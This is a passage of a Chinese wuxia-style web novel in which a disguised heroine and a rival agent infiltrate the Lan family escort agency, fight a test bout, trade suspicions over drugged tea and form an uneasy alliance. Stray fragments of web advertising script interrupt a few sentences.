许妙仪撇了撇嘴,也没拆穿他——她想看看,他究竟意欲何为。 壮汉犹豫片刻,道:“行吧,你进来吧。”说罢,他侧身让路。 萧韫动身朝门内走去,许妙仪也连忙跟上,谁料等萧韫进了门,壮汉又重新用身子把门堵上。 她猝不及防,鼻尖差点撞到了他的胸膛。她后退半步,抬头看向壮汉,不解地蹙起眉,沉声问:“这是何意?” “啧,就你这体量,一看就不是习武之人。”壮汉嫌弃道,“你还是别凑热闹了。” 许妙仪:“……” 先前这壮汉未问询于她,她还以为是自己过关了,没想到是人家根本没瞧上她。 她深吸一口气,道:“功夫如何,恐怕不能全凭身量来定论吧?起码也要让我露一手吧?” “哦?”壮汉眸中划过一抹意外,又仔细端详了许妙仪一遍,眼中讥讽愈甚,让步的话语也带着几分不屑,“那行,你进来吧。不过我丑话说在前头,万一被打残了,我们可不赔医药钱啊。” “自然。”许妙仪笑道。 壮汉带二人穿过庭院,来到一片广场。广场上,一群装束相同的镖师正在训练,杀伐肃整之气扑面而来。 “兄弟们,都歇一歇啊!”壮汉喊道,声如洪钟。 镖师们纷纷放下手中武器,朝这边围了过来。 壮汉往侧身,露出身后的萧许二人,道:“这两位想来咱们局里当镖师,劳烦各位兄弟,试试他们的本领。” 周遭瞬间爆发出一阵哄笑—— “哈哈哈哈哈,你看他,又矮又小,像个女人似的!” “也不怕被风吹了去!哈哈哈哈哈哈!” “就这,我一拳一个。” …… 这些言论几乎都是冲着许妙仪来的。 以貌取人!狗眼看人低!许妙仪撇了撇嘴,在心里暗暗翻了个白眼。 “好了好了,安静!”壮汉姗姗来迟地出声制止。 喧哗声很快小了下去,壮汉扭头对萧许二人道:“按照规矩,你们可以在我们兄弟中随便挑选一个对手,只要在两刻钟内与其打成平手,就算通过考核。” 二人点头。 “你们谁先来?” “我先来吧。”许妙仪抢着说罢,看向壮汉,道,“我选你做对手,如何?” “我?”壮汉嗤笑道,“还是算了吧,我的大刀可不是吃素的。” 周围有人低声议论:“居然敢选我们庆三哥,真是不知天高地厚!” 许妙仪仍直直盯着庆三,面不改色:“就你。” 庆三满脸讥笑:“行,你别后悔就是了。” 许妙仪没接话,径直朝武器架走去,挑选了一把长剑,随即走上擂台。 “咚——”清亮的锣鼓声响起,标志着比试开始。 庆三挥舞着大刀朝许妙仪扑来,每一步都带着震颤地面的力量。 许妙仪知道庆三的力量远在自己之上,是故她不与他正面交锋,而是灵活地躲避着他一次又一次的攻击——或者说,是她不断在诱导他卖力地砍出一刀又一刀。 果然,不到一刻钟,庆三便明显有些体力不支了,连呼吸都急促了起来。在大刀又一次砸空后,他恨恨看向早已旋身避开的许妙仪,咬牙道:“只会防守可不是一个镖师该有的样子!” 许妙仪唇角勾起一个淡淡的弧度,道:“我知道。” 所以接下来,她就要反击了。 就在这时,忽然听台下有人唤了一声“娘子”。 二人不约而同地停下动作,扭头朝台下看去。 只见镖师们纷纷朝着一个方向作揖,态度恭敬。在这静止般的画面中,人的注意力就会不自觉被唯一的动态吸引——一个从远处走来的人。 这人身材高挑,虽一副男子打扮,眉眼也英气,但仍能看出她是个女子——正是蓝钰。 许妙仪目露几分意外。 她知道,要想顺利潜入蓝家镖局,必定要过蓝钰这一关,但没想到会来得这么快。 不过没关系,就算隔得近,蓝钰都不一定能认出她,何况是隔了这么远。再者,她只在蓝钰面前露过几招,蓝钰并不熟悉她的招式。 庆三连忙切换成一副谦卑的姿态,一路小跑到蓝钰身边,殷勤问道:“娘子,您怎么来啦?” “单子忙得差不多了,左右无事,听说有英杰应聘,就来看看。”蓝钰语气中含着淡淡的笑意,抬了抬下巴示意,“继续吧。” 擂台上重新闪起刀光剑影,许妙仪招招凌厉,逼得庆三连连后退,身上挂了不少血痕。 正当她战得酣畅之际,倏然有一滴清凉落到了脸上。 她心头猛然一跳,迅速向上看了一眼。只见惨淡的白日早已经消失不见,取而代之的是一团如墨乌云。 紧接着,雨点劈头盖脸地落下。 许妙仪不由得在心中咬牙暗骂:真是倒霉! 她面上药水的防水性不算特别好,平常洗个脸什么的倒无所谓,但在这般雨势下必定会有些许脱色。且她的衣裳是月白色的,药水侵染其上会很明显。 但此刻匆忙结束战斗未免有些刻意,且蓝钰也不一定会同意。 急急一阵思索后,许妙仪开始减弱攻势,故意给庆三-反击的机会。 庆三颇为给力,抓住一个破绽,横刀直冲许妙仪面门而来。 许妙仪仰头躲避,却有意地控制了仰头角度。刀锋从她面上划过,带起一线血珠。她左眼下方斜向上至山根出现一道豁口,殷红大量漫出,又迅速被雨水冲淡。 但几乎是刀锋离面的同时,她旋身到庆三手臂内侧,反手出剑直直刺向庆三心口,却在即将刺入的前一刻偏了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方向,最终只扎进肩头。 此刻,胜负已分。 台下众人都看呆了,天地间只剩下沉重的雨声。 许妙仪抽出长剑,重新与庆三拉开距离,抬袖抹了一把脸上的血水。 庆三捂着肩头,神情在雨幕中模糊不清,声音惆怅:“我输了。” “承让。”许妙仪微微一拜。 台下不知是谁率先反应过来,叫了声“好”,转瞬之间,台下一片欢呼叫好。 许妙仪一下擂台,便有不少人围了过来—— “兄弟,真是没想到你功夫竟这般好!” “你有空教我两招呗!” …… “过誉,过誉。”许妙仪回应以礼貌的微笑,脸都快笑僵了。 倏地,人群安静下来,让开一条路。蓝钰撑着伞从中走出,看向许妙仪的眼神中满是欣赏,嘴上更是不吝赞叹:“你武功很不错,叫什么名字?” 许妙仪拱手一拜,谦和道:“多谢娘子夸赞,在下许双。” “是个别致的名字。”蓝钰微笑道,“你以后就留在镖局吧。” “多谢娘子。” 蓝钰又吩咐身边人:“带她去管事那里,叫管事给她安排间厢房,再送些生活用品、药品过去。” 许妙仪被领到厢房,换上侍从送来的干衣,又由郎中为她上药并包扎伤口——一段白纱斜着横亘面中,看起来颇有几分滑稽。 送走了郎中,许妙仪正准备给面上胎记补色,却听有敲门声响起。 她打开门,一张熟悉的脸进入眼帘——萧韫。他本就生得俊美,如今面上挂着水珠,眉睫也因湿漉而分明,竟莫名有几分勾人。 许妙仪先是一惊,而后不解地拧起眉头,问:“你来做什么?” 随后,她清楚地看见:萧韫望着她的眸中生出几分惊讶与戏谑,他唇角一抽,呈微微上扬的弧度。但很快,他又挪开了目光,面色恢复平静,用无比自然的语气说了一句“住宿”。 仿佛他从没有嘲笑过她。 许妙仪白了他一眼,懒得与他多计较。她正想问“住宿”之事,却见管事从萧韫背后探出身子来,满面堆笑,解释道:“我们镖局之前被雷劈过,烧了一半房子,至今还没修好,只能辛苦两位挤一挤了。” 许妙仪这才想起来,房间里确实是有两张床,分置两侧,她当时还觉得奇怪呢。 她犹豫半晌,问:“没有其他的房间了吗?” 目前她摸不透萧韫的目的,也就分不清他是敌是友,心中总还是有几分警惕的。 管家面露难色:“这……就算有也不能给呀,主人说为了节省空间,必须二人一间。” 希望破灭,许妙仪低低叹了口气,侧身让路,心想:以后行事需要多加小心了。 管事道:“二位若还有什么需要,尽管来找我。” 萧韫和许妙仪先后礼貌地道了声谢,管家转身离去,顺手关上了门。 房里只剩下了萧韫和许妙仪两个人,一股诡异的气氛悄然蔓延开来,许妙仪有些坐立难安。 这时,萧韫道:“某要换衣服了,烦请阁下背过身去。” “哦哦。”许妙仪理解他这点诉求,连忙转身。 伴随着背后衣料的窸窣声,她百无聊赖地东看看西摸摸,最终目光落在案上的一个木匣上。 她翻开木匣盖子,一块镜子出现在眼前,清晰映出后方青年的身体——宽肩窄腰,肌肉结实而线条流畅…… 活了这么多年,却是第一次看见这样的画面,她不禁倒吸一口凉气。 这时,萧韫顿了一下,扭头看来。 5. 第 5 章 许妙仪心头猛然一跳,连忙合上盖子。 “没想到,许兄竟有这样特殊的癖好。”萧韫的声音在背后响起,戏谑之下是明显的冷意。 闻言,许妙仪心中半是懊恼半是尴尬,暗想:他该不会觉得我是个偷窥狂吧? 为了守护自己的英名,她清了清嗓子,郑重道:“不好意思,我不是故意的,我并不知道这匣盖内里贴了镜子。” 虽然她不认为这是自己的错,但语气还是不自觉地染上几分惭愧。 萧韫长长地“哦”了一声,道:“那是某错怪许兄了。” 许妙仪听出了他阴阳怪气的弦外之音,正色道:“真的,我没骗你,我又不是断袖,为何要偷窥你?” 萧韫奇道:“某没说你骗人,也没说你是断袖呀。” “……”许妙仪气得翻了个白眼,不再与他说话。 半晌后,萧韫道:“我换好了。” 许妙仪“哦”了一声,拿起手边的帕子,转身走到房中唯一的火炉边坐下,散下发髻,开始绞发,全程没再看萧韫一眼。 没多久,萧韫在许妙仪对面坐下,同样开始绞发。 两人各自绞着发,相对无言,唯有炭火偶尔的“哔剥”声和外间淅淅沥沥的雨声。这样祥和的氛围下,却有一股无形的暗流涌动。 约莫过了小半个时辰,雨声渐小,萧韫和许妙仪先后绞干了发,堪堪将其束好,便听得一阵敲门声传来,随即是管事的声音:“二位可休息好了?现下雨停了,我带二位转一转,认认路吧?” 二人均应下,由管事领着出行。管事不但介绍着建筑布局,还说起了局中镖师的作息规定以及日常事务等。 路过一处园林时,管事道:“最里面有座院子,是娘子的私院,向来不许人靠近。” 许妙仪看得眉头微蹙:她清楚记得,当时她就是被蓝钰带入那里“休息”的。由此看来,那个石洞监狱也在里头…… 镖局面积颇大,逛完时已是暮色四合。 管家笑道:“如今正好是饭点,我带二位去用膳吧。” 膳堂中人声鼎沸,洋溢着快活的气息,是众镖师已经围着几条长桌吃了起来。见了萧韫和许妙仪,不少人都热情地打起招呼:“向兄!许兄!” 拱手与众人回过礼,许妙仪和萧韫在长桌边坐下——由于空位不多,他们只得相对而坐。 用膳用至一半,许妙仪眼前忽然落下一道阴影。她抬头一看,只见一个魁梧的络腮胡汉子正站在萧韫身后,伸手按着他的肩,笑道:“俺今日出去行镖了,没能看到比武。听说你小子在十招之内就赢了常五,功夫不错啊,不知什么时候有空与我比试一番?” 萧韫神情平静淡然,起身朝那汉子拱手道:“能与前辈过招是某的荣幸,若他日得空,还请前辈不吝赐教。” 汉子哈哈大笑,又伸手拍了拍萧韫肩头,豪气道:“好小子!” 旁边又有人笑着说了些什么,许妙仪没太听进去,思绪已经飘远:能取胜于十招之内,看来萧韫这厮功夫还不错。不过,他打得这样急,估计有一部分原因是怕自己的假胡子被雨冲掉吧? 忽然,她脑海中跳出一个想法:既然萧韫武功那样好,那么,她绑架他的那晚,他为何不立即动手反击呢?就算不能当场制服她,也不会让自己陷入被绑架的险境。 彼时她没有想那么多,如今细细一想,竟觉得……像是萧韫在配合她,或者说……是帮她。只不过她最后起了杀心,他才反攻。 荒谬,但似乎又很合理。 许妙仪一时心情复杂,忍不住瞥了萧韫好几眼。 可……萧韫为何会帮她呢? 接下来的半顿饭,她都吃得心不在焉的,以至于连萧韫何时离开了都不知道。 镖师们若无任务在身,晚膳后便可自由活动。许妙仪借着消食的名义在镖局中散步,以提高对布局的熟悉。这一逛就是一个多时辰,回到厢房时已经是亥初了。 一推开房门,她就看见萧韫正端坐着看书,神情专注。 听见响动,萧韫抬眼看来,轻弯唇角,招呼道:“许兄,怎回来得这样晚?”语气竟是分外温和。 这样的关怀让许妙仪很是意外,心中隐隐升起不好的预感。但“伸手不打笑脸人”,她还是扬起一个假笑,道:“我去散步了。” 萧韫“哦”了一声,又道:“许兄,刚煮的热茶喝么?上午淋了雨,热茶驱寒。” 许妙仪这才注意到,萧韫手边的案上摆着一个茶壶并几个瓷杯。 所谓“无事献殷勤,非奸即盗”,她才不信萧韫真有那么好心呢,这茶水中一定被下了药。 她本欲拒绝,但转念一想:他既然给她下药,必定是今夜有所行动,就算她不饮这茶,他也会采用别的方式。何况,她正好想看看他究竟意欲何为。 于是她露出一个笑,道:“好啊,那就多谢向兄了。”说着,她抬步朝萧韫走去。 萧韫轻笑一声,放下书卷,伸手去提茶壶,姿态优雅。琥珀色茶水自壶嘴倾出,氤氲出白雾般的热气,最终落入瓷杯中。 萧韫捻起茶杯,起身递到许妙仪跟前。他握着茶杯的手很好看,手背鼓着薄薄的青筋,手指修长而骨节分明,指甲被修剪得整齐干净。 许妙仪接过茶杯往唇边送,很快就嗅出了药味儿。为了进一步辨出具体药类,她手上动作顿了一下。 “怎么?”萧韫冷不丁地开口,声音很轻,含着微微笑意,“许兄还怕我给你下毒不成?” “向兄这是什么话?”许妙仪故作惊讶,解释道,“我只是喜欢闻茶香罢了。” 说着,她径直把茶杯送到鼻下,深深地吸了一口,满脸享受:“这可真是好茶!” 萧韫唇角微抽,道:“许兄既觉得是好茶,就早些喝了吧。” 许妙仪仰头一饮而尽,递还茶杯:“多谢向兄款待。” 萧韫接过茶杯,道:“客气。我们同住一个屋檐下,自然应该互相照拂。” 虚伪。 许妙仪心中嘲讽,面上却仍是笑盈盈的:“是,互相照拂。” 又虚与委蛇了好一阵,许妙仪终于得以转身,往属于自己的另一半屋子走去。 就在转身的同时,她抄起双手,很快就于袖中摸索到了一个瓷瓶。她手指灵活,在袖管中拨开盖子,从中倒出一枚丹药。 这时,她已经走到了案边。她故意把案上的东西碰倒,弯腰拾捡时趁机把丹药送入口中——幸好她有先见之明,准备了不少解毒丹药。 起身后,她轻吁一口气,若无其事地拆下面上纱布,开始换药。 换过药,她估摸着应该快到药效发作的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时间了,便开始表演“头晕”,最终“砰”的一下栽倒在桌面上。 一阵静默后,后方响起轻微的脚步声,且愈来愈近,最终停在了身侧。 “唰”的一声,长剑出鞘,紧接着一丝冰凉落到了许妙仪颈上。 这是许妙仪意料之外的。她呼吸一滞,浑身紧绷了起来。 剑锋又开始向上移动,慢悠悠的,像一条爬行的毒蛇,所过之处,无不是一片战栗。 许妙仪一颗心提到了嗓子眼儿,一呼一吸都变得无比漫长、难耐。她此刻十分庆幸自己是趴着的,否则定会叫萧韫看出端倪。 好半晌,剑锋终于抽离,又“唰”的一声回了剑鞘。足音远去,又响起栓门声,最后是推窗的声音。 许妙仪终于松了口气,背上已是冷汗涔涔。她睁开眼,直起身环顾四周,漆黑一片中,果然已经没了萧韫的踪影。 她毫不犹豫,迅速来到后窗边。推开支摘窗,她的余光忽然瞥见斜下方落下了一团黑影。这黑影极小,又是从窗框偏下的位置落下的,在漆黑的夜里,若非她足够敏锐,只怕是要叫它蒙混过关了。 抬手接住,她仔细一看,发现这是一片落叶。她很快会意,轻笑了出来。翻窗出去后,她小心地把叶子夹回窗侧。 屋后一片寂寂,也已没有了人影。但她不恼,并非因为她在萧韫身上做了能让他留下踪迹的手脚,而是因为她知道萧韫会去哪儿。 果然,她朝着蓝钰私院的方向疾行了一段路,很快就看见前方有个人影——身形颀长、宽肩窄腰,应是萧韫无疑。 她蹑手蹑脚地跟了一段路,当行到一处园林时,却见萧韫忽然顿住了步子。 心中一惊,她连忙将身子缩到假山后。 “别躲了,出来吧。”萧韫开口,声音森冷。 许妙仪目前没有与他撕破脸的打算,并不做声。 秋风卷起,四周林木萧萧而动,外头没有再传来萧韫的声音。 许妙仪心中狐疑,欲一探究竟。不料她刚从假山后探出头,便见一枚石子迎面飞来。 她连忙收身躲过,抬步就要往回跑。不料,面前倏然落下一道人影,挡住了她的去路——正是萧韫。 “是你?”萧韫的神情在黑暗中模糊不清,语气幽幽,“原来你没有中我的迷药啊。” 许妙仪笑而不语。 “为何跟踪我?”萧韫冷声问。 “应该是我先问你吧?”许妙仪冷笑一声,“你给我下迷药,又暗中潜入娘子居所,究竟想做什么?” 萧韫低低地笑了几声,戏谑道:“你何必装腔作势?我目的不纯,你难道就真的只是想做个镖师吗?” 许妙仪知道萧韫狡诈,于是继续装傻:“我自然只是想做个镖师,你不要以己度人。” “是吗?”萧韫似笑非笑,“那,你为何要在比武的时候故意放水,给庆三伤你的机会?” 许妙仪心中“咯噔一下”:他居然看出来了? 她深吸一口气,很快冷静下来,道:“人的思想不同,对同一事物自然会有着不同的看法。你如果非要将你个人的揣度加在我身上,我无话可说。” “是某的个人偏见,还是事实,你自己心中有数。” 许妙仪轻嗤一声,正欲开口,却隐隐听得不远处传来一阵急促的脚步声。 6. 第 6 章 那脚步声其实不算重,但在万籁俱寂的夜里,难免会被衬托得明显。再者,萧韫和许妙仪都是习武之人,耳力非同一般。 二人皆是一惊,知晓是有人来了,于是连忙环顾四周,寻找藏身之处。 最终,不约而同地,他们的目光落到不远处的一株大榕树上。虽已入秋,但这榕树仍是枝繁叶茂、生机勃勃的。 脚步声愈来愈近,声声催人性命。 两人没有犹豫,立即朝榕树跑去。几乎是他们身形没入树冠的同时,附近便响起了低低的人声—— “咦,奇怪,我明明听见这边有人说话……”这是道陌生的男音。 “哼,这么一会儿他们跑不了多远,多半是躲起来了,给我仔细搜!”这是庆三的声音,相比别人的更响亮些。 几人齐齐应道:“是!” 同时,萧韫和许妙仪分别于上下两处枝干立好,屏息敛声。 几段足音分别朝不同方向远去,又有一阵交谈声渐渐往树下而来。 萧韫站得高,听得不大清楚,便开始挪动步子,欲蹲下身子。不料他踩到一块湿滑的青苔,整个人径直滑落了下去,好在他及时攀住了一段树枝。 许妙仪本就精神高度紧张,此时倏然见一道黑影从面前落下,不禁吓了一跳,差点也没站稳。 她连忙扶住了身旁树干,还未回过神来,便感觉足下树枝向下一沉。低头一看,是萧韫用双手扒着她足下的树枝。 这么一来,枝干上的树叶便被带得沙沙作响。幸好,这时有长风涌起,所过之处叶声簌簌,完美掩盖了这阵异动。 趁着风势未歇,萧韫用脚在树干上一蹬,整个人便轻盈地跃了上来,落在许妙仪身旁。然枝叶中光线昏暗,他一下子没有踩稳,身体再度倾斜。 许妙仪想到他们如今是一根绳上的蚂蚱,便只好勉为其难地伸手拉了他一下。 萧韫往许妙仪靠来,用一只手撑在了许妙仪身后的树干上,终于得以稳住身形。 距离拉近,带着苦味儿的草木清香扑面而来,将许妙仪全面包裹。她这才后知后觉一丝不对劲——她的头正贴着萧韫的手臂,鼻尖则轻抵着他的胸膛…… 距离太近了,甚至有几分……暧昧,像她被他圈在了怀中。 她不习惯这样的亲密,本想伸手去推他,然而谈话声已经到了树下—— “三哥,你说这贼会是今天来的那两人吗?” 萧许二人不敢再动弹,就保持着这样亲密的姿势。 “很有可能。”庆三道,“以后得加派人手盯紧他们——尤其是那个北方口音的。” 这时,几阵急促的脚步声从四面而来,最终停在树下。 “三哥,东边没有发现贼人。” “西边也没有。” …… 得知附近均未见异常,庆三叹了口气,道:“看来他们已经跑远了……罢了,只要他们贼心不死,以后就有的是机会捉他们。” “三哥英明!”其余人附和道。 “走吧。” 下方声响远去,许妙仪又警惕地等了半晌,没再听见动静,才终于宽了心,伸手推了推萧韫。 萧韫知趣地收回手,重新与她拉开距离。 “向兄的功夫还欠些火候啊,好端端的站在树桠上能都掉下来。”许妙仪睨着萧韫,轻声嘲讽。 萧韫回望过来,神情晦暗不明。他道:“是某大意了,许兄教训的是。”他虽这么说,语气中却没有半分惭愧之意。 顿了顿,他又道:“这次多谢许兄相助,某感激不尽。” 许妙仪淡淡道:“你不用谢我,我不是真的想帮你,只不过是怕你连累我罢了。” 萧韫轻笑一声,忽而转了话题:“其实,此前我对你的指控都只是猜测。但如今,我十分笃定,你是……和我一样的人。” “和你一样?”许妙仪隐隐觉得有一个答案呼之欲出,试探着道,“和你一样……居心叵测的人吗?” “对。我虽然不清楚你的目的,但我知道,你和我一样,都是站在蓝家对面的人。” 许妙仪虽然早已有过这般猜测,但如今听到萧韫亲口承认,还是有些惊讶。 萧韫继续说着:“你若真的问心无愧,大可与那些人揭发我。可,你的第一反应是逃跑。这不就说明,在你的潜意识中,镖局的人才是你的敌人吗?” 许妙仪沉默了——这一点,连她自己都未曾意识到。好半晌,她方笑道:“向兄真是好敏锐的洞察力。” “过誉。”萧韫问道,“我看许兄气质……特殊,不知许兄是何方人士?又与蓝家有着何等深仇大恨,竟敢只身潜入?” 许妙仪没有完全信任萧韫,只道:“我是个落难的商人之子,曾在他们手上栽过,差一点就被做成奴隶了。再者,他们害得多少家庭支离破碎,早该被千刀万剐!”说着,她语气不自觉染上几分愤慨。 这般正义凛然的话语,听得萧韫不由微微一愣。 他想起了不久前的一个夜,清郁的槐花香气中,一个女子把长剑架在他脖子上,说:“你这样的贪官污吏,杀了也好!” “也说说你吧,向兄。”许妙仪道,“你是谁,又为何冒险前来?” 萧韫回过神来,道:“我出身寒门,虽未与他们有过龃龉,但我同你一样,看不惯他们的所作所为。” 同样隐瞒了身份,和许妙仪不谋而合。 她眯起眼,若有所思。 萧韫给出的理由倒也说得过去,结合对那晚他放水任她绑架的猜测,她不难接受他其实是个好官。 可是,世事复杂,站在坏人对立面的,不一定就是好人。她不敢保证,此事背后没有更大的利益牵扯。 她曾经见证过这样一桩政治斗争—— 田氏为了壮大势力,一手扶植起了张氏一族。然而张氏壮大后,便脱离了田氏的控制。 田氏恼怒不已,然此时张氏已经能与田氏分庭抗礼了,田氏一时间难以从外部将其瓦解。 于是,田氏派出卧底打入张氏,不出三月便成功搞垮了张氏。 如今的蓝家会不会也是这样一个“张氏”呢?蓝家看似只是一派江湖势力,但其能将生意做得这样大,背后必定与庙堂有牵扯。 萧家虽说是深受天子宠幸的开国功臣,然所谓“人外有人,天外有天”,一定还会有比萧家更显贵的门第,有能让萧韫为他驱使的人…… 许妙仪简直不敢再细想下去。 “许兄,合作吗?”萧韫终于开启正题。 不管怎么说,他们目前确实有着共同的利益。二人合作,总还是比一个人单打独斗好。 她敛起思绪,微扬唇角,道:“原来是同道中人。既然如此,那么……合作愉快?” 萧韫很快回应,声音含笑:“合作愉快。”顿了顿,他又道,“许兄下一步是何打算?” “想必向兄也看出来了,镖局里的镖师并不全都是蓝家的人。”许妙仪道,“所以我们要做的第一步,是获得蓝家的信任,真正成为他们的人。” 萧韫点头赞同:“某也是这个打算。今夜之行已经试探出来了,私院周围的守卫力量非同一般,不可强取……” 话音未落,便听得远处隐隐传来一阵声响。二人瞬间噤声,不敢再有所动作。然而等了一阵,那声响却没再传来。 许妙仪压低声音,道:“可能只是老鼠——这不是说话的地方,我们先回吧。” “好。” 二人动身,很快就回到了厢房后。 许妙仪走在前方掀起窗扇,忽然面色一变。 * (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 翌日辰初时分,天色方亮,众镖师便纷纷走出房门,朝广场聚拢,准备参加晨练,许妙仪和萧韫亦在其中。 二人到达广场时,一眼便看见擂台上立着一个木架,架子上捆着一个遍体鳞伤的人,生死不明。 擂台下围了满满一圈人,议论纷纷。 许妙仪面色凝重,随机抓住一个镖师,问:“敢问兄台可知,台上之人缘何如此?” 镖师叹了口气,语气有些沉重:“他也是个镖师,他之前……严重违背了局里的规矩,就被带走关起来了。真没想到,他已经成了这幅模样……” “局内法度竟严明至此?”许妙仪惊讶不已。 惊讶之余,她心中又生出几分愤懑,对蓝家的厌恶更上一层——镖师与蓝家只是雇佣关系,并非蓝家家奴,就算犯了错,蓝家也无权将人伤成这样! 镖师警觉地环顾四周,随即凑近许妙仪,低声道:“若是犯了旁的规矩也就罢了,可他千不该万不该,就是不该潜入娘子的私院!” 许妙仪深吸一口气,拱手道谢:“多谢告知。” 镖师摆摆手,很快离去。 许妙仪忍不住又往台上望了一眼,心情沉重无比。 “这是在给咱们下马威呢。”耳畔忽而响起萧韫刻意压低的声音。 与此同时,一阵又一阵的轻微热气扑在她耳上,带起一片痒感,叫她忍不住起了一身鸡皮疙瘩。她连忙拉开距离,道:“我知道。” 萧韫又贴了上来,只不过这回没再俯身在许妙仪耳边,只是弯腰平视着许妙仪,轻声问:“许兄怕了吗?” 他的眸幽邃漆黑,直勾勾地盯着她,似乎要将她看穿。 许妙仪目露不解,道:“当然没有啊。” “那就好。”萧韫唇角微弯,“不过某还是得说一句,若是哪一天许兄改变心意了,不愿再与某为谋,可一定要提前告诉某,咱们……好聚好散。” 在这轻柔悦耳的声音中,许妙仪听出了杀气四溢的弦外之音:他在警告她,不要轻易背弃盟约。 她撇了撇嘴,不屑道:“向兄这可就是以小人之心度君子之腹了——我并非那种人,你大可放心。” 话音刚落,便听得庆三洪亮的声音传来:“兄弟们差不多都到齐了吧?” 循声看去,只见庆三正站在擂台上,一派雄赳赳的姿态。他往下扫视一圈,伸手指向被捆在架子上的人,道:“大家伙儿都清楚了吧?这就是违背规定的下场!你们可要引以为戒,安分守己!” “是!”周遭众人纷纷应声,皆拱手低头做谦卑姿态,许妙仪饶是再不情愿,也只得附和。 庆三满意地点点头,又道:“还有一事——昨儿夜里,娘子院中丢了东西,怀疑是祸起萧墙,故而遣我来问问,昨日亥正时分左右,可有人出门?” 此言一出,众人面面相觑。萧韫和许妙仪对视一眼,均从对方眸中看见了警惕的神色。 亥正时分,正常人大多已经歇下了——但这个时候,也是许妙仪尾随萧韫夜探蓝钰私院的时间。 庆三道:“大家互相检举,若是能帮忙揪出贼人,娘子必有重赏;有隐瞒者,与贼人同罪!” 人群间的气氛瞬间微妙起来。 很快—— “我、我举报!”一个人举起手,随后指向身侧的人,“常五出去过!他以为我睡着了,就从后窗翻了出去!” 众人纷纷循声看去,被称作常五的男子成了人群注意力的焦点,但他竟是格外的镇定,不慌不忙道:“昨夜我确实出去过,但我绝没有去娘子院里偷东西。” “那你是去做什么了?”庆三急急追问。 “我去新来的向玉兄房中了。” 向玉,正是萧韫的化名。 许妙仪和萧韫心中一致冒出两个字:来了。 7. 第 7 章 时间倒回昨夜—— 许妙仪掀开厢房后窗,却并未见到叶片落下,霎时心中警铃大振,手上动作随之停顿。 “怎么了?”萧韫注意到许妙仪的异常,轻声发问。 许妙仪轻“嘘”一声,小心翼翼地观察屋内环境。屋中虽未点灯,但她的眼睛早已适应了黑暗,还是能看清个大概的。 没有发现异常,她才翻窗进去。萧韫紧随其后,并带上了窗。 “有人来过。”许妙仪压低声音,情绪颇为凝重,“我出来时发现你在窗缝中夹了叶子,明白你的用意,便又把它夹了回去。但现在,叶子不见了。” “如此看来,某与许兄还挺有默契。”萧韫语气中略带几分戏谑。 许妙仪翻了一个白眼,道:“向兄,现在恐怕不是开玩笑的时候吧?” 萧韫轻咳一声,正色道:“某以为,此人不是蓝家的人,否则此处早已是十面埋伏。” 许妙仪点头赞同,道:“只要不是蓝家的人,一切都好说——兵来将挡,水来土掩。” 同时,她心中又不禁泛起更深的疑惑:“既如此,这便是起普通的入室案,其因由无非财、色、仇三种。论财,我们看起来都挺穷的;论仇,我们初来乍到;论色……” 说到此处,她忽然顿住了,随后又忍不住看了一眼萧韫,心中咂舌:两千年后的民风果然不一样! 萧韫读懂了许妙仪的想法,唇角微抽,道:“许兄,可不是人人都如你一般,有着特殊的爱好。” 许妙仪:“……” 还有完没完了?! 为了刚刚建立的盟友情,她强行压下打他一顿的冲动,咬牙切齿道:“我已经跟你解释过了,那只是一个意外!” 萧韫点头,语气平淡:“好的。” “……”有一种一拳打在棉花上的无力感。 许妙仪愤愤地想:当初就不应该与他废话,直接杀了他! * 周遭议论四起,人们面上均写满了好奇与疑惑。 庆三“嘶”了一声,亦十分不解:“你没事去他房中做什么?” 常五闭上眼,一副破罐子破摔的表情:“昨日比试输给了他,我心里不服气,就想小小报复一下。” 闻言,许妙仪啼笑皆非,侧头看向萧韫,眼神似乎在说:你可真会挑选对手。 萧韫回看过来,一双凤眸中写满无奈,唇畔的笑意有些苦涩。 其余人似乎对此毫不意外—— “嘿,这还真是常五能干出的事。” “我还以为他已经变了,没想到还是这般小心眼。” 甚至还有人拍了拍萧韫的肩,关切问道:“向兄啊,你没事吧?” 许妙仪在心中暗道:昨晚没事,但马上就要出事了。 庆三朝萧许二人看来,问:“向玉、许双,是这样吗?你们可与常五打照面了?” 二人还没来得及开口,常五便迅速接过话:“庆三哥,不用问他们了。” “你这是什么意思啊?”庆三一脸狐疑。 常五睁开眼,缓缓道:“我扑了个空——他们两个根本没在房中。作为镖师,半夜被叫起来出任务是常有的,我就没多想……” “昨夜里,我可没有给你俩临时分配什么任务啊……”庆三再度看向萧许二人,眸光沉沉,语气幽幽。 此话一出,人们的目光纷纷朝萧许二人投来,或惊讶或猜疑,气氛变得微妙起来。 萧韫率先开口:“三哥明鉴!昨夜里,我从未见过他,也未听到任何异动!” 许妙仪附和道:“我也是。” “你们撒谎!”常五当即反驳道。 许妙仪道:“那你又有何证据,证明你确实来过我们房间?” “我在窗棂下方刻一个记号,诸位可前去查看。”常五语气中带着几分得意。 许妙仪心中一惊,这倒是她没想到的。但她脑子转得快,很快就找到了突破点:“你怎么证明这记号就一定是晚上做的?万一是你提前做好,专门用来诬陷我们的呢?” 萧韫环顾四周,补充道:“诸位都是有功夫在身的人,应当都清楚,潜入一个普通的房间并非什么难事。” 不少人点头赞同:“这确实。” 还有人道:“昨日午后,确实没见到常五的影子……” 常五明显慌张了起来,连忙辩解道:“我那只是去踩点,绝没有提前做记号!” “口说无凭,你怎么证明?”许妙仪步步紧逼。 常五一噎,眼珠慌忙转了几转,又道:“好,就算我是诬陷,可我只与向玉有过节,为何要攀扯上你?” “我与向玉共处一室,理应对他的动向再清楚不过。只要我为他作证,你的话便毫无可信度。但你若指认我与向玉都在半夜离房,大家就会不自觉把我与向玉划分为同党,我们无法为彼此作证,又很难有其他证人,岂非任你言说?” 许妙仪这一番话条理清晰,逻辑严密,说得常五哑口无言,其余人则如醍醐灌顶一般,舆论风向瞬间转变。 “某虽不清楚常兄的真实意图,但某知道,对某和许兄的指控是你给自己留的退路。”萧韫淡淡补刀,“不过大概是常兄脑力有所欠缺,这条计策漏洞颇多。” “你……”常五气急败坏。 “好了!”庆三出声打断,招呼属下,“把常五带下去!” 